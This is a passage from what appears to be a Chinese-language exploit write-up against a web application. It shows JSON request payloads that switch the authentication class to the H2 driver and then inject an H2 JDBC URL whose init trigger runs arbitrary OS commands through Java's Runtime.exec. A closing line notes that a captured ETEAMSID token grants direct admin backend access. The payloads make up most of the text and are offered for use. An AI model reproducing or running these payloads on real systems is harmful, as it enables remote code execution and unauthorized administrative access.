{"isUse":1,"auth_type":"custom","iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}
```

### 执行命令

{"dbType":"mysql5","dbUrl":"jdbc:h2:mem:test;MODE=MSSQLServer;init = CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ //javascript\njava.lang.Runtime.getRuntime().exec(\"{cmd}\")$$"}
```

也可以通过上面第一步、第二步获取ETEAMSID值直接进入后台管理页面。
